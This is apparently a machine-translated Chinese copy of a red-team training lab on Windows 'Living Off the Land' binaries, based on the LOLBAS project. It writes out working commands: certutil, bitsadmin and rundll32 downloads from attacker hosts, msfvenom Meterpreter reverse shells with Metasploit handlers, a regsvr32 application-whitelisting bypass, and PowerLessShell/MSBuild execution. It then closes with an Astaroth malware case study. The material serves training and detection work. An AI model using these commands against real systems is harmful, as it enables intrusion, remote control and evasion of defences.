Introduction

什么是“靠土地为生”?

Living Off the Land 是红队社区中的一个流行术语,该名称取自现实生活,即靠吃土地上的食物为生。同样,对手和恶意软件创建者也会利用目标计算机的内置功能。 - 在工具和公用事业中。Living Off the Land 一词于 2013 年在 DerbyCon3 上引入,并在红队社区从此成为一种经常使用和流行的技术。

这些内置工具在目标系统或网络功能内执行各种常规活动;但是,它们越来越多地被使用和滥用,例如,使用CertUtil将恶意文件下载到目标计算机的工具。

主要想法是使用微软签名的程序、脚本和库来融入并逃避防御控制,红队人员不希望在目标上执行交战活动时被检测到,因此使用这些工具可以更安全地保持其隐身性。

以下是靠土地生活的一些类别:

  • 侦察
  • 文件操作
  • 任意代码执行
  • 横向运动
    -安全产品绕过

学习目标

  • 了解红队活动的“Living Off the Land”一词。
  • 了解 LOLBAS 项目以及如何使用它。
  • 了解并应用红队活动中使用的技术。

房间先决条件

Windows Sysinternals

什么是 Windows Sysinternals?

Windows Sysinternals 是一组工具和高级系统实用程序,旨在帮助 IT 管理专业人员、排除故障和诊断各种高级主题中的 Windows 操作系统。

Sysinternals Suite 分为多个类别,包括:

-磁盘管理

  • 流程管理
  • 网络工具
  • 系统信息
  • 安全工具

为了使用 Windows Sysinternals 工具,我们需要接受这些工具的 Microsoft 许可协议,我们可以通过在命令提示符处或在工具执行期间通过 GUI 传递 -accepteula 参数来完成此操作。

以下是一些流行的 Windows Sysinternals 工具:

AccessChk 帮助系统管理员检查文件、目录、注册表项、全局对象和 Windows 服务的指定访问权限。
PsExec 在远程系统上执行程序的工具。
ADExplorer 高级 Active Directory 工具,有助于轻松查看和管理 AD 数据库。
ProcDump 监视运行进程的 CPU 峰值以及转储内存以进行进一步分析的能力。
ProcMon 过程监控的重要工具。
TCPView 列出所有 TCP 和 UDP 连接的工具。
PsTools Sysinternals 套件中设计的第一个工具,用于帮助列出详细信息。
Portmon 监视并显示系统上的所有串行和并行端口活动。
Whois 提供指定域名或IP地址的信息。

有关 Sysinternals 套件的更多信息,您可以访问 Microsoft Docs 上的工具网页此处

Sysinternals Live

Windows Sysinternals 的一大特点是无需安装,Microsoft 提供了 Windows Sysinternals live 服务,我们可以通过以下方式访问和使用它们:

  • Web 浏览器(链接)。
  • Windows 共享
    -命令提示符

要使用这些工具,您可以下载它们,也可以在 Windows 资源管理器中输入 Sysinternal Live 路径 \live.sysinternals.com\tools。

img

注意,由于附加的虚拟机无法访问互联网,因此我们在 C:\Tools\ 中预先下载了 Sysinternal 工具。

命令提示符

C:\Users\thm> C:\Tools\SysinternalsSuite\PsExec64.exe

如果您有兴趣了解有关 Windows Sysinternals 的更多信息,我们建议您熟悉以下附加资源:

  1. TryHackMe 房间:Sysinternals
  2. Microsoft Sysinternals 资源 网站

红队的利用和好处

内置工具和 Sysinternals 工具对系统管理员很有帮助,但这些工具也被黑客、恶意软件和渗透测试人员使用,因为他们在操作系统中具有固有的信任。这种信任对红队成员有利,因为他们不想获得这些信任。被目标系统上的任何安全控制检测或捕获,因此,这些工具已被用来逃避检测和其他蓝队控制。

请记住,由于如今使用这些工具的对手和恶意软件创建者不断增加,蓝队意识到了恶意使用情况,并对其中大多数实施了防御控制。

LOLBAS Project

什么是LOLBAS?

LOLBAS 代表 Living Off the Land Binaries And Scripts,项目的主要目标是收集和记录用作 Living Off the Land 技术的 Microsoft 签名和内置工具,包括二进制文件、脚本和库。

img

LOLBAS 项目是一个社区驱动的存储库,收集了可用于红队目的的二进制文件、脚本和库的集合。它允许基于二进制文件、函数、脚本和 ATT&CK 信息进行搜索。上图显示了 LOLBAS 的内容。此时项目页面如下所示。如果您对有关该项目的更多详细信息感兴趣,可以访问该项目的网站此处

LOLBAS 网站提供了一个方便的搜索栏来查询所有可用的数据,查找二进制文件很简单;但是,如果我们想查找特定的函数,则需要在前面提供一个 / 。例如,如果我们要查找所有执行函数,我们应该类似地使用 /execute,为了根据类型进行查找,我们应该使用 # 符号后跟类型名称。在项目中:

-脚本

  • 脚本
  • 二进制
  • 其他 MS 二进制文件

工具标准

工具要成为“靠土地生存”技术并被接受为 LOLBAS 项目的一部分,需要具体标准:

  • 操作系统本机的 Microsoft 签名文件或从 Microsoft 下载的文件。
  • 具有已知用例未涵盖的其他有趣的意外功能。
  • 有利于 APT(高级持续威胁)或红队参与。

请注意,如果您发现符合前面提到的标准的令人兴奋的二进制文件,您可以通过访问 GitHub 存储库贡献页面 提交您的发现以了解更多信息信息。

有趣的功能

LOLBAS 项目接受符合以下功能之一的工具提交:

  • 任意代码执行
  • 文件操作,包括下载、上传和复制文件。
  • 编译代码
  • 持久性,包括将数据隐藏在备用数据流 (ADS) 中或在登录时执行。
  • UAC绕过
  • 转储进程内存
  • DLL注入

File Operations

此任务显示基于现实世界以及红队活动中看到的功能和恶意软件活动的常用工具。

此任务将重点介绍一些有趣的“Living Off the Land”技术,旨在用于文件操作,包括下载、上传和编码。

Certutil

Certutil是一个用于处理认证服务的Windows内置实用程序,它用于转储和显示证书颁发机构(CA)配置信息和其他CA组件,因此,该工具的正常用途是检索证书信息。 .exe 可以传输和编码与认证服务无关的文件。MITRE ATT&CK 框架将此技术标识为 Ingress 工具传输 (T1105)。

为了通过示例来说明这一点,我们可以使用 certutil.exe 从攻击者的 Web 服务器下载文件并将其存储在 Window 的临时文件夹中,请注意,我们使用 -urlcache 和 -split -f 参数。强制该工具使用分割技术从提供的 URL 下载。

Command Prompt

certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe

-urlcache 显示 URL,启用在命令中使用 URL 选项
-split -f 分割并强制从提供的 URL 获取文件。

此外,certutil.exe 还可以用作编码工具,我们可以在其中对文件进行编码并解码文件内容。 ATT&CK T1027 引用了此技术。混淆文件以使其难以发现或分析。

Command Prompt

C:\Users\thm> certutil -encode payload.exe Encoded-payload.txt

有关该工具的更多信息,您可以访问此处的 Microsoft 文档:Microsoft Docs: CertUtil

BITS管理员

Bitsadmin工具是一个系统管理员实用程序,可用于创建、下载或上传后台智能传输服务 (BITS) 作业并检查其进度。 BITS是一种从 HTTP Web 服务器和 SMB 服务器下载和上传文件的低带宽异步方法,有关 Bitsadmin 工具的其他信息可以在Microsoft documentation中找到。

攻击者可能会滥用 BITS 作业在受感染的计算机中下载并执行恶意负载有关此技术的更多信息,您可以访问 ATT&CK T1197 页面。 。

介绍终端容器内容(重温)

Command Prompt

C:\Users\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe

/Transfer 使用传输选项
/Download 我们指定使用下载类型进行传输
/Priority 我们正在设置要在前台运行的作业的优先级

有关bitsadmin参数的更多信息,您可以访问该工具的Microsoft文档

查找字符串

Findstr[ ](https://docs.microsoft.com/en-us/windows-server /administration/windows-commands/findstr)是一个 Microsoft 内置工具,用于查找文件中的文本和字符串模式。 findstr 工具可帮助用户和系统管理员在文件或解析的输出中进行搜索。我们想要检查端口 8080 是否在我们的机器上打开,然后我们可以通过管道 netstat 的结果来查找该端口,如下所示:netstat -an| findstr “445”。

但是,发现了一种意想不到的方法,即使用 findstr.exe 从网络内的 SMB 共享文件夹下载远程文件,如下所示:

Command Prompt

C:\Users\thm>findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe

/V 打印出不包含所提供字符串的行。

dummystring 要搜索的文本;在这种情况下,我们提供一个不能在文件中找到的字符串。

> c:\Windows\Temp\test.exe 将输出重定向到目标计算机上的文件。

请注意,可以使用其他工具进行文件操作,我们建议访问 LOLBAS 项目。检查一下。

在下一个任务中,我们将介绍一些用于执行文件的工具。

File Execution

此任务显示了在操作系统中执行二进制文件的各种方法。执行二进制文件的典型情况涉及各种已知方法,例如使用命令行 cmd.exe 或从桌面执行。但是,还存在其他方法来通过滥用来实现有效负载执行。其他系统二进制文件,其中原因之一是隐藏或强化有效负载的进程,基于 MITRE ATT&CK 框架,这种技术称为签名二进制代理执行间接命令执行,攻击者可以利用该技术。利用其他系统工具生成恶意负载。这种技术还有助于逃避防御控制。

文件浏览器

文件资源管理器是 Windows 的文件管理器和系统组件。人们发现使用文件资源管理器二进制文件可以执行其他 .exe 文件,这种技术称为“间接命令执行”,其中可以使用和滥用 explorer.exe 工具。从受信任的父进程启动恶意脚本或可执行文件。

explorer.exe 二进制文件位于:

  • 对于 Windows 64 位版本,C:\Windows\explorer.exe。
  • Windows 32 位版本为 C:\Windows\SysWOW64\explorer.exe。

为了创建explorer.exe父进程的子进程,我们可以执行以下命令:

Command Prompt

C:\Users\thm> explorer.exe /root,"C:\Windows\System32\calc.exe"

作为上一个命令的结果,我们在桌面上弹出了计算器。

WMIC

Windows Management Instrumentation (WMIC) 是一种管理 Windows 组件的 Windows 命令行实用程序,人们发现 WMIC 还用于执行二进制文件以逃避防御措施,MITRE ATT&CK 框架将此技术称为签名二进制代理执行 (T1218)

Command Prompt

C:\Users\thm>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1740;
ReturnValue = 0;
};


C:\Users\thm>

前面的 WMIC 命令创建了我们选择的二进制文件的新进程,在本例中为 calc.exe。

运行DLL32

Rundll32 是一个 Microsoft 内置工具,可在操作系统中加载和运行动态链接库 DLL 文件。红队可以滥用和利用 rundll32.exe 来运行任意负载并执行 JavaScript 和 PowerShell 脚本。 MITRE ATT&CK 框架将此识别为。 签名二进制代理执行:Rundll32 并将其称为 T1218

rundll32.exe 二进制文件位于:

  • Windows 64 位版本为 C:\Windows\System32\rundll32.exe。
  • Windows 32 位版本为 C:\Windows\SysWOW64\rundll32.exe。

现在让我们尝试使用 rundll32.exe 二进制文件执行 calc.exe 二进制文件作为概念证明:

Command Prompt

C:\Users\thm> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

在前面的命令中,我们使用了嵌入 JavaScript 组件 eval() 的 rundll32.exe 二进制文件来执行 calc.exe 二进制文件(一个 Microsoft 计算器)。

正如我们之前提到的,我们还可以使用 rundll32.exe 执行 PowerShell 脚本。以下命令运行 JavaScript,该 JavaScript 执行 PowerShell 脚本以使用 rundll32.exe 从远程网站下载。

Command Prompt

C:\Users\thm> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");

作为先前执行的结果,script.ps1 的副本下载到目标计算机上的内存中。

Application Whitelisting Bypasses

绕过应用程序白名单

应用程序白名单是一项 Microsoft 端点安全功能,可防止未经授权的恶意程序实时执行。应用程序白名单是基于规则的,它指定允许在操作上存在和执行的已批准应用程序或可执行文件的列表。此任务重点关注用于绕过 Windows 应用程序白名单的 LOLBAS 示例。

Regsvr32

Regsvr32 是一个 Microsoft 命令行工具,用于在 Windows 注册表中注册和取消注册动态链接库 (DLL) regsvr.exe 二进制文件位于:

  • Windows 32 位版本为 C:\Windows\System32\regsvr32.exe
  • Windows 64 位版本的 C:\Windows\SysWOW64\regsvr32.exe

除了其预期用途外,regsvr32.exe 二进制文件还可用于执行任意二进制文件并绕过 Windows 应用程序白名单。根据 Red Canary 报告,regsvr32.exe 二进制文件是第三个。最流行的 ATT&CK 技术 攻击者利用 regsvr32.exe 在本地或远程执行本机代码或脚本 regsvr32.exe 中使用的技术使用可信的技术。 Windows操作系统组件并在内存中执行,这也是该技术也被用来绕过应用程序白名单的原因之一。

让我们尝试在现实生活中应用此技术。首先,我们需要使用 msvenom 创建一个恶意 DLL 文件,并设置 Metasploit 侦听器来接收反向 shell。请注意,我们将创建一个适用于 32 位操作系统的恶意文件。我们将使用 regsvr32.exe 应用程序白名单绕过技术在目标系统上运行命令。

Terminal

user@machine$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of dll file: 8704 bytes

user@machine$ user@machine$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST ATTACKBOX_IP
LHOST => ATTACKBOX_IP
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on ATTACKBOX_IP:443

请注意,我们使用 -f 参数将输出类型指定为 DLL,一旦生成恶意 DLL 文件,我们就需要将有效负载传递到受害者计算机,我们将通过使用网络服务器在我们的攻击中提供 DLL 文件来实现这一点。机器跟随,

Terminal

user@machine$ python3 -m http.server 1337

从受害计算机上,通过我们指定的端口 1337 访问攻击计算机的 Web 服务器,请注意,可以根据您的选择更改此端口!

在受害计算机上,下载文件 DLL 文件后,我们使用 regsvr32.exe 执行它,如下所示:

Command Prompt

C:\Users\thm> c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
or
C:\Users\thm> c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll

使用第二个选项(这是一个更高级的命令),我们指示 regsvr32.exe 运行:

  • /s:处于静默模式(不显示消息)
  • /n: 不调用DLL注册服务器
  • /i:: 使用另一台服务器,因为我们使用了 /n
  • /u:使用注销方法运行

在攻击机器上,我们应该收到一个反向 shell。

Terminal

msf6 > exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on ATTACKBOX_IP:443
[*] Sending stage (175174 bytes) to 10.10.159.197
[*] Meterpreter session 1 opened (ATTACKBOX_IP:443 -> 10.10.159.197:52845 ) at 2022-01-20 05:51:31 -0600

请注意,如果我们想要创建 64 位 DLL 版本,我们需要在 msfvenom 命令中指定它,并使用位于 C:\Windows\SysWOW64\regsvr32.exe 的 64 位版本的 regsvr32.exe 从受害计算机运行它。

谍影重重 Shell (Bash)

2016 年,Microsoft 在 Windows 10,11 和 Server 2019 上添加了对 Linux 环境的支持。此功能称为 Windows Subsystem for Linux ([WSL](https://docs.microsoft.com/en-us/windows/ wsl/about)),它存在于两个 WSL 版本:WSL1 和 WSL2 是 Hyper-V 虚拟化。在操作系统上运行的 Linux 发行版,支持 Linux 内核的子集和系统调用。此功能是用户可以安装并与 Linux 发行版交互的插件,bash.exe 是一个 Microsoft 工具。与Linux环境交互。

人们找到了执行有效负载并绕过 Windows 应用程序白名单的方法,因为它是 Microsoft 签名的二进制文件,通过执行 bash.exe -c“有效负载路径”,我们可以执行任何未签名的有效负载,并将其称为 间接命令执行。攻击者滥用 Windows 工具实用程序来获取命令执行的执行技术 有关此技术的更多信息,您可以访问 T1202 ATT&CK 网站。

img

请注意,您需要在 Windows 10 中启用并安装适用于 Linux 的 Windows 子系统才能使用 bash.exe 二进制文件。此外,由于嵌套虚拟化限制,附加的 VM 未启用 Linux 子系统。

请记住,本节重点介绍了一些有趣的工具。如果您有兴趣查看可用的 LOLBAS 工具,您可以访问项目网站

Other Techniques

本节重点介绍了一些有趣的技术,无论是初始访问还是持久性,以下技术都属于 Living Off the Land,因为它们可以用作 Windows 环境实用程序的一部分。

快捷方式

img

快捷方式或符号链接是一种用于引用操作系统内其他文件或应用程序的技术,一旦用户单击快捷方式文件,就会执行引用文件或应用程序,红队通常会利用此技术来获得初始访问权限。 MITRE ATT&CK 框架将此称为快捷方式修改技术 T1547,攻击者在其中创建或修改快捷方式。为了利用这项技术。

要使用快捷方式修改技术,我们可以使用以下命令设置目标部分来执行文件:

  • Rundll32
    -Powershell
    -Regsvr32
  • 可在磁盘上执行

附图显示了快捷方式修改技术的示例,其中攻击者修改了 Excel 目标部分以使用 rundll32.exe 执行二进制文件,一旦受害者单击 Excel 快捷方式,我们就会选择执行计算器而不是运行 Excel 应用程序。图标,执行 calc.exe 有关快捷方式修改的更多信息,您可以查看 GitHub 存储库。

没有 PowerShell!

2019 年,Red Canary 发布了一份威胁检测报告,指出 PowerShell 是最常用的恶意活动技术,因此,组织开始监视或阻止 powershell.exe 的执行,结果,攻击者找到了其他方式来运行 PowerShell 代码。产卵它。

PowerLessShell 是一种基于 Python 的工具,可生成在目标计算机上运行的恶意代码,而不显示 PowerShell 进程的实例。PowerLessShell 依赖于滥用 Microsoft Build Engine (MSBuild)(用于构建 Windows 应用程序的平台)来执行远程代码。

首先,让我们将项目的副本从 GitHub 存储库下载到 AttackBox 上:

Terminal

user@machine$ git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git

项目要求之一是获取 PowerShell 有效负载以使其适合与 MSBuild 一起使用,在 AttackBox 上,我们需要使用 msfvenom 生成 PowerShell 有效负载,如下所示:

Terminal

user@machine$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

另外,我们需要运行Metasploit框架来监听并等待反向shell。

Terminal

user@machine$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost AttackBox_IP;set lport 4443;exploit"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_winhttps
lhost => AttackBox_IP lport => 4443
[*] Started HTTPS reverse handler on https://AttackBox_IP:4443

现在我们已经准备好有效负载,切换到 PowerLessShell 目录项目以将有效负载转换为与 MSBuild 工具兼容,然后运行 PowerLessShell 工具并将源文件设置为我们使用 msfvenom 创建的文件,如下所示:

Terminal

user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

命令成功执行后,我们需要将输出文件传输到 Windows 计算机,您可以使用 SCP 命令或设置 Web 服务器将文件托管在 AttackBox 上(python3 -m http.server 1337)并下载。使用浏览器查看文件。

最后,在目标Windows机器上,构建.csproj文件并等待反向shell!

Command Prompt!

C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

运行 MSBuild 命令后,请等待几秒钟,直到收到反向 shell。请注意,不会有 powershell.exe 进程正在运行。

Real-life Scenario

此任务介绍了使用本会议室讨论的技术的恶意软件展示。

2017 年,Windows Defender 高级威胁防护 (Windows Defender ATP)研究团队发现了名为 Astaroth 的无文件恶意软件。无文件恶意软件意味着该恶意软件在系统中运行并执行,而无需写入磁盘。

Astaroth 被称为信息窃取程序,它从受害者用户获取敏感信息,例如帐户凭据、击键和其他数据,并将其发送给攻击者。该恶意软件依赖于各种先进技术,例如。例如反调试、反虚拟化、反仿真技巧、进程空洞、NTFS 备用数据流 (ADS) 以及以执行不同功能的方式运行的二进制文件。

在初始访问阶段,攻击者依靠包含恶意附件文件的垃圾邮件活动。附件是 LNK 文件快捷方式,一旦受害者单击它,将导致以下结果:

  • 执行 WMIC 命令来下载并运行 Javascript 代码。
  • 滥用 BITSadmin 从命令和控制服务器下载多个二进制文件,在某些情况下,恶意软件会使用 YouTube 频道描述来隐藏其 C2 服务器命令。
  • 使用 BITSadmin、ADS 技术,将其二进制文件隐藏在系统中以实现持久性。
  • Certutil 工具用于将几个下载的有效负载解码为 DLL 文件。
  • DLL 文件使用 Regsvr32 执行。

有关恶意软件和检测的更多详细信息,我们建议检查以下参考文献:

  1. Astaroth: Banking Trojan
  2. Microsoft Discovers Fileless Malware Campaign Dropping Astaroth Info Stealer
  3. Astaroth malware hides command servers in YouTube channel descriptionshttps://www.zdnet.com/article/astaroth-malware-hides-command-servers-in-youtube-channel-descriptions/)

Conclusion

在这个房间中,我们介绍了“离地生活”的一般概念,并介绍了红队作战期间看到和使用的一些示例。“离地生活”技术可用于各种目的,包括侦察。 、文件操作、执行二进制文件以及持久性和绕过安全措施。

额外资源

  • GTFOBins - LOLBAS 项目的 Linux 版本。
  • Astaroth:银行木马 - 现实生活中的恶意软件分析,他们展示了使用的 Living Off the Land 技术恶意软件。